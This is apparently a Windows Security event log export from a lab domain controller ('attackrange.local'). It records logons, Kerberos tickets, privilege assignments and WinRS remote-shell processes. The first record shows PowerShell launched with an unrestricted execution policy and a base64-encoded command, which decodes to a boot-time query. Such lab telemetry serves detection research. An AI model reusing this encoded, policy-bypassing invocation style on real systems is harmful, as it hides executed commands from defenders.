	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253815
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5AC6B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253814
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5AC6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253813
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253812
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253811
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1060
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1054
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253809
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253808
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59EE0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253807
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x59EE0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253806
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59EE0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253805
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59520

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253804
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59669

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253803
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x541A8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1018
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x100c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253802
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x541A8

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253801
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd5c
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=253800
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253799
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x59669
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49713

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253798
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59669

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253797
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x59520
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x59520

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253795
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253794
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x593D6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49712

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253793
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x593D6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253792
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x59322
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49711

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253791
Keywords=Audit Success
